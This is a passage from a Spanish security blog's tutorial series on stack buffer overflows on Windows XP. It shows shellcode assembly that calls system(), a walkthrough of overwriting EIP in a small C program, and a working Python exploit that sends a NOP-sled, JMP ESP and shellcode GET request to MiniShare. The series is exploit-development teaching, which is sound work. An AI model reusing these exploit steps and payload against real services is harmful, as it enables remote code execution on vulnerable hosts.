ubica1:
pop ebx

El siguiente paso es llevar a la pila el comando que deseamos cargar que será arrancar una shell de comandos. (podemos arrancar cualquier otro programa si es lo que deseamos hacer).
Aunque estamos ubicados (Registro EBX en este caso) seguimos sin poder dirigirnos a las zonas de memoria por su etiqueta pero podemos calcular el desplazamiento del texto que queremos introducir. Solo tenemos que sumar al registro EBX que contiene la dirección de la etiqueta ubica1 el desplazamiento con respecto a dicha etiqueta

mov eax, ebx
add eax, shelloff ; desplazamiento del texto
push eax

Sólo nos queda pues ceder el control nuevamente al programa inicial justo en la instrucción que va a llamar a la función system. (Ya tenemos cargado en la pila el comando que deseamos ejecutar).







mov eax,00401076h                    ; Dirección de la llamada a la función system
jmp eax

Esto en teoría debería bastar para aún es necesario hacer algunos ajustes más que veremos en el próximo post.


miércoles, 12 de marzo de 2014

Un pequeño desafío

Pensaba dejar de escribir por un tiempo sobre desbordamiento de buffer por no ser cansino y dar un poco más de variedad a este blog.
Pero me ha llegado desde la cuenta de twitter de @brutelogic un interesante desafío.




Explotar un posible desbordamiento de buffer en un programa con tan pocas líneas. Parece que estas vulnerabilidades no son específicas de grandes y complejos programas. El diablo acecha en los más pequeños detalles.

Me sentí tentado a aceptar el reto y me puse la primera tarde que tuve un rato a estudiar esta vulnerabilidad. Compilé el programa y lo cargué con ollydbg (según el compilador de C que se esté usando la salida la salida puede ser distinta).
Tan pocas líneas de código... tan fácil de localizar  los punton de interrupción.
Coloquemos un punto de interrupción despúes de la función scanf y ejecutemos el programa.

La primera vez introducimos los siguientes datos: 1234 y la pila tiene estos valores:






Lo copiamos al portapapeles y lo guardamos con fichero de texto.




Repetimos la operación, esta vez con el valor 12345678 lo copiamos y guardamos otro fichero.


Con una pequeña manipulación cargamos cada resultado en una hoja excel que nos será muy util para comparar los resultados. Veamos los contenidos de ls pilas en ambas ejecuciones:



La parte superior de la pila (aunque en numeración corresponde a las direcciones más bajas) es igual en ambos lados (amarillo). A continuación viene el área donde se carga la cadena de caracteres. Vemos como al aumentar el número de caracteres estos van ocupando posiciones hacia abajo en la pila.
Un poquito más abajo encontramos un valor que tiene bastante pinta de ser la dirección de retorno usada por la instrucción RET un poco más adelante en el programa.



Ponemos otro punto de interrupción en esta instrucción y volvemos a ejecutar el programa. Esta introducimos la siguiente cadena: 123456789123456789
Ejecutamos hasta la instruccion RET  y analicemos la salida.



El primerar valor de la pila es 38373635. Este valor será el que la instruccion RET llevará al EIP. Y que se corresponde con la cadena ASCII 5678
Deberemos colocar en esa posición el valor que realmente deseamos que vaya al  EIP y habremos secuestrado el programa.


Al tratarse de una prueba de concepto no vamos a complicarnos demasiado. Llevaré el control a la instrucción: 00401052.

Justo antes de printf, así que tendremos una prueba visual de que hemos alterado el flujo de programa.


Debemos de introducir los siguientes datos: 1234567891234

Y a continuación el valor hexadecimal correspondiente a la dirección  deseada Para ello usaremos el teclado numérico e introduciremos estos valores en decimas. Antes de introducir cada valor deberemos mantener pulsada la tecla Alt y una vez introducido cada valor deberemos soltarla. Así:


{Alt}136   {Alt}255   {Alt}18   {Alt}00

Y ahí lo tenemos la proxima instrucción a ejecutar es la deseada, ejecutamos paso a paso (F7)  seguimos y nos vuelve a aparecer el mensaje


Esto demuestra que hemos sido capaces del alterar el flujo del programa.

Últimas observaciones. 


Todavía quedamos lejos de tener finalizado el exploit. Ahora deberíamos de intentar sacar partido de esta vulnerabilidad.
Una vía para conseguirlo es sobreescribir el texto "clear" que es usado en la invocación a la funcion system y sustituirlo por otro valor. Por ejemplo: cmd.exe



Pero esto ya requiere un poco más de paciencia  y se sale del objetivo de este breve post. 


domingo, 2 de marzo de 2014

Buffer overflow a fondo (y III) - Inyectando código

En el anterior post ya fuimos capaces de cargar el EIP con el valor que deseamos y que será la dirección de inicio del código que inyectaremos.
La creación no es tarea trivial, requiere conocimientos de programación en lenguajes de bajo nivel y comprender muy bien toda la estructura de bibliotecas y bloques de control del sistema operativo para el que estamos desarrollando la shell code.

Nos limitaremos a cargar una shell code existente. Iremos a esta página:  http://www.exploit-db.com/ y nos situaremos en la página de búsqueda. Indicamos que queremos buscar:

Seleccionaremos esta Shell

2010-08-20 Exploit Code Downloads - Verified Windows XP SP3 English MessageBoxA Shellcode - 87 bytes 11042 windows Glafkos Charalamb.

Es una shell pequeña e inofensiva. Lo que hace es mostrar en pantalla un cuadro de diálogo. Pero es un buen ejemplo para practicar.

Nos descargamos y editamos el fichero que es un programa en C.
No dice que está probado en: Windows XP SP3 Eng
El nuestro estará en español, luego podemos tener algún problema de funcionamiento. Además se trata de una shell bastante antigua, si hemos tenido nuestro sistema actualizado también podemos tener alguna incompatibilidad.

A nosotros nos interesa realmente la shello code, el bloque de datos definido así:

char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\x51\x68\x6c\x6c\x20\x20\x68\x33"
"\x32\x2e\x64\x68\x75\x73\x65\x72"
"\x89\xe1\xbb\x7b\x1d\x80\x7c\x51" // 0x7c801d7b ; LoadLibraryA(user32.dll)
"\xff\xd3\xb9\x5e\x67\x30\xef\x81"
"\xc1\x11\x11\x11\x11\x51\x68\x61"
"\x67\x65\x42\x68\x4d\x65\x73\x73"
"\x89\xe1\x51\x50\xbb\x40\xae\x80" // 0x7c80ae40 ; GetProcAddress(user32.dll, MessageBoxA)
"\x7c\xff\xd3\x89\xe1\x31\xd2\x52"
"\x51\x51\x52\xff\xd0\x31\xc0\x50"
"\xb8\x12\xcb\x81\x7c\xff\xd0";    // 0x7c81cb12 ; ExitProcess(0)

Llevamos esta parte de código a nuestro escript python y lo colacamos inmediatamente después de la dirección que de desbordamiento que localizamos en el post anterior, queda así:

#-------------------------------------------------------------------------------
# Name:        module1
#!/usr/bin/python
import socket

target_addr="127.0.0.1"
target_port=80
target_pag="/Bienvenida.htm"
getbuff = "GET "


# Nuestra ShellCode

getbuff+= "\x90" * 1787
#getbuff+= "\x53\x93\x42\x7E"    # Direccion encontrada 7E429353 user32
getbuff+= "\x87\xA7\xA7\x7C"    # Direccion encontrada 7CA7A787 shell32
getbuff+= "\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
getbuff+= "\x51\x68\x6c\x6c\x20\x20\x68\x33"
getbuff+= "\x32\x2e\x64\x68\x75\x73\x65\x72"
getbuff+= "\x89\xe1\xbb\x7b\x1d\x80\x7c\x51"    # 0x7c801d7b ; LoadLibraryA(user32.dll)
getbuff+= "\xff\xd3\xb9\x5e\x67\x30\xef\x81"
getbuff+= "\xc1\x11\x11\x11\x11\x51\x68\x61"
getbuff+= "\x67\x65\x42\x68\x4d\x65\x73\x73"
getbuff+= "\x89\xe1\x51\x50\xbb\x40\xae\x80"    #0x7c80ae40 ; GetProcAddress(user32.dll, MessageBoxA)
getbuff+= "\x7c\xff\xd3\x89\xe1\x31\xd2\x52"
getbuff+= "\x51\x51\x52\xff\xd0\x31\xc0\x50"
getbuff+= "\xb8\x12\xcb\x81\x7c\xff\xd0"        #0x7c81cb12 ; ExitProcess(0)

# ---------------------------------------------------------------------
getbuff+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_addr,target_port))
sock.send(getbuff)
sock.close()

Como he dicho antes, esta shell es inofensiva y la he probado antes así que vamos a saltar etapas. Arrancamos el programa minishare.exe y ejecutamos el script que contiene la shell.

Parece que funciona pues vemos como aparece el cuadro de diálogo. Damos al botón y.... algo no va todo lo bien que debía de ir pues el programa finaliza de forma anormal.

Vamos a ver que ha pasado ahora. Abrimos Ollydbg y arrancamos el minishare. Ponemos un breakpoint en la dirección que ya localizamos en el anterior post.

Volvemos a mandar el buffer maligno y el programa se para en el breakpoint. Damos a ejecutar paso a paso sin entrar en procedimientos (f8). El control del EIP para a nuestra shell, seguimos dando has que aparece el cuadro de diálogo. Respondemos y seguimos hasta llegar la instrucción xxxxxxx, respiramos y volvemos a dar F8. ¡¡¡Zas, finalización anormal!!!

El resultado casi era de esperar pues ya habíamos visto que la shell finalizaba anormalmente despues de responder al cuadro de diálogo. El programador de la shell nos ha prestado una ayuda inestimable con los comentarios.

Vamos a ver el manda de funciones con Ollydbg. Verificamos que las direcciones las funciones LoadLibraryA y GetProcAddress coinciden con las que vienen en la shell. No es así con la funcion ExitProcess que tiene está en la direccion: 0x7c81D20A

Cambiamos, en el programa python la última línea y la dejamos así:

getbuff+= "\xb8\x0a\xd2\x81\x7c\xff\xd0"        #0x7c81D20A ; ExitProcess(0)

Rearrancamos minishare.exe y lanzamos el buffer. Nuevamente llegamos al cuadro de diálogo, le damos a aceptar y ahora vemos como el programa cierra de forma normal.

Recapitulando. 

En estos tres posts he intentado explicar como explotar un desbordamiento de buffer desde cero y que se puede resumir en lo siguiente:

  • Existencia de la vulnerabilidad. Mediante el envío de cadenas los suficientemente largas. 
  • Localización del offset de la cadena que sobreescribe el EIP
  • Localización de la instrucción JMP ESP que necesitamos para transferir el control al código que inyectaremos.
  • Poner esa instrucción en el offset del buffer que sobeescribirá el EIP
  • Colocar a continuación la shell que queremos inyectar. 

Otros  conceptos que deberíamos de sacar claros de estos tres hilos son los de vulnerabilidad, explotación (exploit) y payload.

Vulnarabilidad es un error en un programa que puede llegar a comprometer la seguridad de ese programa o, incluso, del sistema donde se está ejecutando el programa vulnerable.
Cuando se ha desarrollado un exploit que permite usar esa vulnerabilidad para nuestros intereses se dice que esa vulnerabilidad es explotable y se llama exploit al elemento que nos permite explotarla.
El exploit, por sí, solo nos abre la puerta que nos permite introducir el payload que es quien nos permitirá comprometer el sistema vulnerable en nuestro beneficio.
En nuestro caso el exploit sería el programa python y la shellcode que hemos introducido sería el payload.

Buffer Overflow a fondo (II) Sobreescribiendo el EIP